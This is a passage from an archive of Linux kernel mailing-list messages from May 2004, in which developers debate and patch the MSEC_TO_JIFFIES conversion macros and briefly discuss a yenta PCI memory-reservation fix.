HZ=100 and msecs is less than 10, the above msecs_to_jiffies() returns 0 jiffies, whereas some users expect 1 jiffy. So i modified msecs_to_jiffies() as follows which should do proper rounding when HZ=100. But didn't get back any response. static inline unsigned long msecs_to_jiffies(unsigned long msecs) { #if 1000 % HZ == 0 return (msecs + ((1000 / HZ) - 1)) / (1000 / HZ); #elif HZ % 1000 == 0 return msecs * (HZ / 1000); #else return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; #endif } Thanks Sridhar On Wed, 12 May 2004, Andrew Morton wrote: > Jeff Garzik wrote: > > > > > How about we do: > > > > > > #if HZ=1000 > > > #define MSEC_TO_JIFFIES(msec) (msec) > > > #define JIFFIES_TO_MESC(jiffies) (jiffies) > > > #elif HZ=100 > > > #define MSEC_TO_JIFFIES(msec) (msec * 10) > > > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > > > #else > > > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > > > #define JIFFIES_TO_MSEC(jiffies) ... > > > #endif > > > > > > in some kernel-wide header then kill off all the private implementations? > > > > > > include/linux/time.h. One of the SCTP people already did this, but I > > suppose it's straightforward to reproduce. > > OK, I'll do it. > > From manfred@colorfullife.com Wed May 12 14:07:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:07:50 -0700 (PDT) Received: from dbl.q-ag.de (dbl.q-ag.de [213.172.117.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CL7jKO010439 for ; Wed, 12 May 2004 14:07:46 -0700 Received: from colorfullife.com (dbl [127.0.0.1]) by dbl.q-ag.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4CL7UNj018333; Wed, 12 May 2004 23:07:31 +0200 Message-ID: <40A29211.2010707@colorfullife.com> Date: Wed, 12 May 2004 23:07:29 +0200 From: Manfred Spraul User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.4.1) Gecko/20031114 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Alec H. Peterson" CC: linux-kernel@vger.kernel.org, Dominik Brodowski , netdev@oss.sgi.com Subject: Re: PCI memory reservation failure - 2.4/2.6 References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5098 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev Alec H. Peterson wrote: > + #if 1 > + if (!(type & IORESOURCE_IO) && (((end - start) < > BRIDGE_SIZE_MIN) || > + (start & (end - start)))) > + { > + printk(KERN_INFO "yenta %s: Preassigned resource start > %lx end %lx too small or not aligned.\n", socket->dev->slot_name, > start, end); > + res->start = res->end = 0; > + } I'm not sure if this is the right approach - what if a bios intentionally assigns a small area? It's dangerous to override the BIOS setting. I'd prefer a kernel command line parameter / module parameter / dmi based override instead of an unconditional override based on the minimum size. I'll think about it. -- Manfred From akpm@osdl.org Wed May 12 14:14:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:14:36 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLEUKO011017 for ; Wed, 12 May 2004 14:14:31 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4CL7tJ18820; Wed, 12 May 2004 14:07:56 -0700 Date: Wed, 12 May 2004 14:07:29 -0700 From: Andrew Morton To: Ingo Molnar Cc: Valdis.Kletnieks@vt.edu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040512140729.476ace9e.akpm@osdl.org> In-Reply-To: <20040512205028.GA18806@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5099 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Ingo Molnar wrote: > > yet another patch - this time it's: complete, covers irda, accelerates > HZ=100, unifies the slightly differing namespaces and compiles/boots as > well. > > ... > > [hz-cleanup-2.6.6-A2 text/plain (2657 bytes)] This doesn't have the little round up which some implementations had, so someone who tries to sleep for 9 millisscondes on a 100HZ box may end up in a busywait. Looks risky. The SCTP version looks like it'll generate awful code, so let's not use that. From mingo@elte.hu Wed May 12 14:16:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:16:16 -0700 (PDT) Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLG9KO011409 for ; Wed, 12 May 2004 14:16:09 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx1.elte.hu (Postfix) with ESMTP id 1701F276FAC; Wed, 12 May 2004 23:15:44 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id 81A061FC2; Wed, 12 May 2004 23:15:43 +0200 (CEST) Date: Wed, 12 May 2004 23:17:48 +0200 From: Ingo Molnar To: Andrew Morton Cc: Valdis.Kletnieks@vt.edu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512211748.GB20800@elte.hu> References: <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC" Content-Disposition: inline In-Reply-To: <20040512140729.476ace9e.akpm@osdl.org> User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, autolearn=not spam, BAYES_00 -4.90 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5100 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline * Andrew Morton wrote: > Ingo Molnar wrote: > > > > yet another patch - this time it's: complete, covers irda, accelerates > > HZ=100, unifies the slightly differing namespaces and compiles/boots as > > well. > > > > ... > > > > [hz-cleanup-2.6.6-A2 text/plain (2657 bytes)] > > This doesn't have the little round up which some implementations had, > so someone who tries to sleep for 9 millisscondes on a 100HZ box may > end up in a busywait. Looks risky. ok. -A3 attached, it does the roundup in the msec->jiffies conversion. (not the other way around though, and that's fine.) Ingo --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="hz-cleanup-2.6.6-A3" --- linux/include/linux/time.h.orig +++ linux/include/linux/time.h @@ -177,6 +177,24 @@ struct timezone { (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, 1) - 1) #endif + +/* + * Convert jiffies to milliseconds and back. + * + * Avoid unnecessary multiplications/divisions in the + * two most common HZ cases: + */ +#if HZ == 1000 +# define JIFFIES_TO_MSECS(x) (x) +# define MSECS_TO_JIFFIES(x) (x) +#elif HZ == 100 +# define JIFFIES_TO_MSECS(x) ((x) * 10) +# define MSECS_TO_JIFFIES(x) (((x) + 9) / 10) +#else +# define JIFFIES_TO_MSECS(x) (((x) * 1000) / HZ) +# define MSECS_TO_JIFFIES(x) (((x) * HZ + 999) / 1000) +#endif + /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note * that a remainder subtract here would not do the right thing as the --- linux/include/net/irda/irda.h.orig +++ linux/include/net/irda/irda.h @@ -83,8 +83,6 @@ if(!(expr)) do { \ #define MESSAGE(args...) printk(KERN_INFO args) #define ERROR(args...) printk(KERN_ERR args) -#define MSECS_TO_JIFFIES(ms) (((ms)*HZ+999)/1000) - /* * Magic numbers used by Linux-IrDA. Random numbers which must be unique to * give the best protection --- linux/include/net/sctp/sctp.h.orig +++ linux/include/net/sctp/sctp.h @@ -116,11 +116,6 @@ #define SCTP_STATIC static #endif -#define MSECS_TO_JIFFIES(msec) \ - (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) -#define JIFFIES_TO_MSECS(jiff) \ - (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) - /* * Function declarations. */ --- linux/include/asm-i386/param.h.orig +++ linux/include/asm-i386/param.h @@ -5,8 +5,6 @@ # define HZ 1000 /* Internal kernel timer frequency */ # define USER_HZ 100 /* .. some user interfaces are in "ticks" */ # define CLOCKS_PER_SEC (USER_HZ) /* like times() */ -# define JIFFIES_TO_MSEC(x) (x) -# define MSEC_TO_JIFFIES(x) (x) #endif #ifndef HZ --- linux/kernel/sched.c.orig +++ linux/kernel/sched.c @@ -75,13 +75,6 @@ #define NS_TO_JIFFIES(TIME) ((TIME) / (1000000000 / HZ)) #define JIFFIES_TO_NS(TIME) ((TIME) * (1000000000 / HZ)) -#ifndef JIFFIES_TO_MSEC -# define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) -#endif -#ifndef MSEC_TO_JIFFIES -# define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) -#endif - /* * These are the 'tuning knobs' of the scheduler: * @@ -1880,7 +1873,7 @@ static void rebalance_tick(int this_cpu, interval *= sd->busy_factor; /* scale ms to jiffies */ - interval = MSEC_TO_JIFFIES(interval); + interval = MSECS_TO_JIFFIES(interval); if (unlikely(!interval)) interval = 1; --wRRV7LY7NUeQGEoC-- From mingo@elte.hu Wed May 12 14:29:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:29:42 -0700 (PDT) Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLTRKO011951 for ; Wed, 12 May 2004 14:29:27 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx1.elte.hu (Postfix) with ESMTP id 61630277381; Wed, 12 May 2004 22:01:20 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id B4EE01FC2; Wed, 12 May 2004 22:01:17 +0200 (CEST) Date: Wed, 12 May 2004 22:03:05 +0200 From: Ingo Molnar To: Davide Libenzi Cc: Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512200305.GA16078@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, autolearn=not spam, BAYES_00 -4.90 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5101 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev * Davide Libenzi wrote: > > why is it wrong? > > For HZ == 1000 it's fine, even if it'd better to explicitly make it HZ > dependent and let the compiler to discard them. the compiler cannot discard the multiplication and the division from the following: x * 1000 / 1000 due to overflows. But we know that HZ is 1000 in the arch-dependent param.h, and in sched.c we use the HZ dependent variant: #ifndef JIFFIES_TO_MSEC # define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) #endif #ifndef MSEC_TO_JIFFIES # define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) #endif Ingo From schwab@suse.de Wed May 12 14:31:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:31:08 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLUrKO012100 for ; Wed, 12 May 2004 14:30:53 -0700 Received: from hermes.suse.de (Hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 257DE59C69E; Wed, 12 May 2004 22:49:41 +0200 (CEST) To: Jan Olderdissen Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... References: <15FDCE057B48784C80836803AE3598D50627ACD5@racerx.ixiacom.com> From: Andreas Schwab X-Yow: Tex SEX! The HOME of WHEELS! The dripping of COFFEE!! Take me to Minnesota but don't EMBARRASS me!! Date: Wed, 12 May 2004 22:49:34 +0200 In-Reply-To: <15FDCE057B48784C80836803AE3598D50627ACD5@racerx.ixiacom.com> (Jan Olderdissen's message of "Wed, 12 May 2004 13:40:18 -0700") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4CLUrKO012100 X-archive-position: 5102 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev Jan Olderdissen writes: > Couple nitpicks: > >> #define MSEC_TO_JIFFIES(msec) (msec * 10) #define MSEC_TO_JIFFIES(msec) ((msec) * 10) >> #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > > #define JIFFIES_TO_MSEC(jiffies) (jiffies / 10) #define JIFFIES_TO_MSEC(jiffies) ((jiffies) / 10) Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From davidel@xmailserver.org Wed May 12 14:33:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:33:12 -0700 (PDT) Received: from x35.xmailserver.org (x35.xmailserver.org [69.30.125.51]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLX9KO012608 for ; Wed, 12 May 2004 14:33:09 -0700 X-AuthUser: davidel@xmailserver.org Received: from bigblue.dev.mdolabs.com by xmailserver.org with [XMail 1.19 (Linux/Ix86) ESMTP Server] id for from ; Wed, 12 May 2004 14:33:27 -0700 Date: Wed, 12 May 2004 14:33:07 -0700 (PDT) From: Davide Libenzi X-X-Sender: davide@bigblue.dev.mdolabs.com To: Valdis.Kletnieks@vt.edu cc: Ingo Molnar , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: <200405122103.i4CL3AUp014523@turing-police.cc.vt.edu> Message-ID: References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <200405122103.i4CL3AUp014523@turing-police.cc.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5103 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davidel@xmailserver.org Precedence: bulk X-list: netdev On Wed, 12 May 2004 Valdis.Kletnieks@vt.edu wrote: > On Wed, 12 May 2004 22:50:28 +0200, Ingo Molnar said: > > > Content-Disposition: attachment; filename="hz-cleanup-2.6.6-A2" > > > > --- linux/include/linux/time.h.orig > > +++ linux/include/linux/time.h > > @@ -177,6 +177,24 @@ struct timezone { > > (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, > 1) - 1) > > > > #endif > > + > > +/* > > + * Convert jiffies to milliseconds and back. > > + * > > + * Avoid unnecessary multiplications/divisions in the > > + * two most common HZ cases: > > + */ > > +#if HZ == 1000 > > +# define JIFFIES_TO_MSECS(x) (x) > > +# define MSECS_TO_JIFFIES(x) (x) > > +#elif HZ == 100 > > +# define JIFFIES_TO_MSECS(x) ((x) * 10) > > +# define MSECS_TO_JIFFIES(x) ((x) / 10) > > +#else > > +# define JIFFIES_TO_MSECS(x) ((x) * 1000 / HZ) > > +# define MSECS_TO_JIFFIES(x) ((x) * HZ / 1000) > > +#endif > > + > > Looks good to me.. :) Guys, why don't you leave the compiler to do its job? - Davide From ahp@hilander.com Wed May 12 14:35:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:35:45 -0700 (PDT) Received: from ramirez.hilander.com (d61.wireless.hilander.com [216.241.32.61]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLZgKO012951 for ; Wed, 12 May 2004 14:35:42 -0700 Received: from [216.241.32.62] (helo=[192.168.0.100]) by ramirez.hilander.com with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.33) id 1BO1O5-00014P-QO; Wed, 12 May 2004 15:35:39 -0600 Date: Wed, 12 May 2004 15:35:36 -0600 From: "Alec H. Peterson" To: Manfred Spraul cc: linux-kernel@vger.kernel.org, Dominik Brodowski , netdev@oss.sgi.com Subject: Re: PCI memory reservation failure - 2.4/2.6 Message-ID: <9C9F57570B19C8A682D96940@[192.168.0.100]> In-Reply-To: <40A29211.2010707@colorfullife.com> References: <40A29211.2010707@colorfullife.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 5104 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahp@hilander.com Precedence: bulk X-list: netdev --On Wednesday, May 12, 2004 11:07 PM +0200 Manfred Spraul wrote: > > I'm not sure if this is the right approach - what if a bios intentionally > assigns a small area? It's dangerous to override the BIOS setting. > I'd prefer a kernel command line parameter / module parameter / dmi based > override instead of an unconditional override based on the minimum size. > I'll think about it. A module parameter sounds like a grand idea. I'd be happy to take a stab at it if others feel it is the way to go. Alec From mingo@elte.hu Wed May 12 14:38:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:38:41 -0700 (PDT) Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLcSKO013349 for ; Wed, 12 May 2004 14:38:28 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx1.elte.hu (Postfix) with ESMTP id BFB53276D9A; Wed, 12 May 2004 23:10:55 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id 497321FC2; Wed, 12 May 2004 23:10:55 +0200 (CEST) Date: Wed, 12 May 2004 23:12:55 +0200 From: Ingo Molnar To: Davide Libenzi Cc: Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512211255.GA20800@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, autolearn=not spam, BAYES_00 -4.90 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5105 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev * Davide Libenzi wrote: > int foo(int i) { > > > return i * 1000 / 1000; > } try unsigned and you'll see: pushl %ebp movl %esp, %ebp movl 8(%ebp), %edx movl %edx, %eax sall $2, %eax addl %edx, %eax leal 0(,%eax,4), %edx addl %edx, %eax leal 0(,%eax,4), %edx addl %edx, %eax leal 0(,%eax,8), %edx movl $274877907, %eax mull %edx movl %edx, %eax shrl $6, %eax leave ret Ingo From bfields@fieldses.org Wed May 12 14:39:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:39:30 -0700 (PDT) Received: from pumpkin.fieldses.org (Debian-exim@dsl093-002-214.det1.dsl.speakeasy.net [66.93.2.214]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLdOKO013479 for ; Wed, 12 May 2004 14:39:25 -0700 Received: from bfields by pumpkin.fieldses.org with local (Exim 4.33) id 1BO1RZ-0004LP-Tb; Wed, 12 May 2004 17:39:13 -0400 Date: Wed, 12 May 2004 17:39:13 -0400 To: Davide Libenzi Cc: Ingo Molnar , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512213913.GA16658@fieldses.org> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.6i From: "J. Bruce Fields" X-archive-position: 5106 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bfields@fieldses.org Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 02:01:58PM -0700, Davide Libenzi wrote: > On Wed, 12 May 2004, Ingo Molnar wrote: > > the compiler cannot discard the multiplication and the division from the > > following: > > > > x * 1000 / 1000 > > > > due to overflows. > > $ cat foo.c > > int foo(int i) { > > > return i * 1000 / 1000; > } If gcc really optimizes that to just the identity function, then surely that's a gcc bug? Multiplication is left-associative, so i * 1000 / 1000 = (i * 1000) / 1000, but (i * 1000) should be zero for any i divisible by i^(sizeof(int) - 12). It shouldn't be able to optimize out the 1000 here for exactly the same reason it shouldn't be able to optimize out the shifts in, e.g., i << 12 >> 12 --Bruce Fields From davidel@xmailserver.org Wed May 12 14:40:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:41:06 -0700 (PDT) Received: from x35.xmailserver.org (x35.xmailserver.org [69.30.125.51]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLeJKO013839 for ; Wed, 12 May 2004 14:40:19 -0700 X-AuthUser: davidel@xmailserver.org Received: from bigblue.dev.mdolabs.com by xmailserver.org with [XMail 1.19 (Linux/Ix86) ESMTP Server] id for from ; Wed, 12 May 2004 14:40:37 -0700 Date: Wed, 12 May 2004 14:40:17 -0700 (PDT) From: Davide Libenzi X-X-Sender: davide@bigblue.dev.mdolabs.com To: Ingo Molnar cc: Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: <20040512211255.GA20800@elte.hu> Message-ID: References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512211255.GA20800@elte.hu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5107 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davidel@xmailserver.org Precedence: bulk X-list: netdev On Wed, 12 May 2004, Ingo Molnar wrote: > > * Davide Libenzi wrote: > > > int foo(int i) { > > > > > > return i * 1000 / 1000; > > } > > try unsigned and you'll see: > > pushl %ebp > movl %esp, %ebp > movl 8(%ebp), %edx > movl %edx, %eax > sall $2, %eax > addl %edx, %eax > leal 0(,%eax,4), %edx > addl %edx, %eax > leal 0(,%eax,4), %edx > addl %edx, %eax > leal 0(,%eax,8), %edx > movl $274877907, %eax > mull %edx > movl %edx, %eax > shrl $6, %eax > leave > ret Yeah, I see. - Davide From zlynx@acm.org Wed May 12 14:51:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:51:23 -0700 (PDT) Received: from 199.45.143.209 (zlynx.org [199.45.143.209]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLpKKO014562 for ; Wed, 12 May 2004 14:51:20 -0700 Received: from [199.45.143.226] (helo=[192.168.100.113]) by 199.45.143.209 with asmtp (Exim 3.36 #1) id 1BO1bd-0001Vy-00; Wed, 12 May 2004 15:49:37 -0600 Subject: Re: MSEC_TO_JIFFIES is messed up... From: Zan Lynx To: Ingo Molnar Cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev In-Reply-To: <20040512211255.GA20800@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512211255.GA20800@elte.hu> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-TSvOT4uBe9kejsl+Vsvr" Message-Id: <1084398565.27252.42.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7jb) Date: Wed, 12 May 2004 15:49:25 -0600 X-archive-position: 5108 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zlynx@acm.org Precedence: bulk X-list: netdev --=-TSvOT4uBe9kejsl+Vsvr Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2004-05-12 at 15:12, Ingo Molnar wrote: > * Davide Libenzi wrote: >=20 > > int foo(int i) { > >=20 > >=20 > > return i * 1000 / 1000; > > } >=20 > try unsigned and you'll see: >=20 > pushl %ebp > movl %esp, %ebp > movl 8(%ebp), %edx > movl %edx, %eax > sall $2, %eax > addl %edx, %eax > leal 0(,%eax,4), %edx > addl %edx, %eax > leal 0(,%eax,4), %edx > addl %edx, %eax > leal 0(,%eax,8), %edx > movl $274877907, %eax > mull %edx > movl %edx, %eax > shrl $6, %eax > leave > ret >=20 > Ingo Being curious, I tried that and got the same results. But this: int f(unsigned int x) { return x * (1000 / 1000); } creates this: f: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax leave ret .size f, .-f .section .note.GNU-stack,"",@progbits .ident "GCC: (GNU) 3.3.2 20031022 (Red Hat Linux 3.3.2-1)" --=20 Zan Lynx --=-TSvOT4uBe9kejsl+Vsvr Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAopvlG8fHaOLTWwgRAilYAJoCetflU/b9t1jCd3TTmt1pr8y1vgCgl3nl iIZzbe7veMs6dG/SQTrHMxo= =cMga -----END PGP SIGNATURE----- --=-TSvOT4uBe9kejsl+Vsvr-- From zlynx@acm.org Wed May 12 14:58:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:58:13 -0700 (PDT) Received: from 199.45.143.209 (zlynx.org [199.45.143.209]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CLw9KO015121 for ; Wed, 12 May 2004 14:58:09 -0700 Received: from [199.45.143.226] (helo=[192.168.100.113]) by 199.45.143.209 with asmtp (Exim 3.36 #1) id 1BO1il-0001bF-00; Wed, 12 May 2004 15:56:59 -0600 Subject: Re: MSEC_TO_JIFFIES is messed up... From: Zan Lynx To: Ingo Molnar Cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev In-Reply-To: 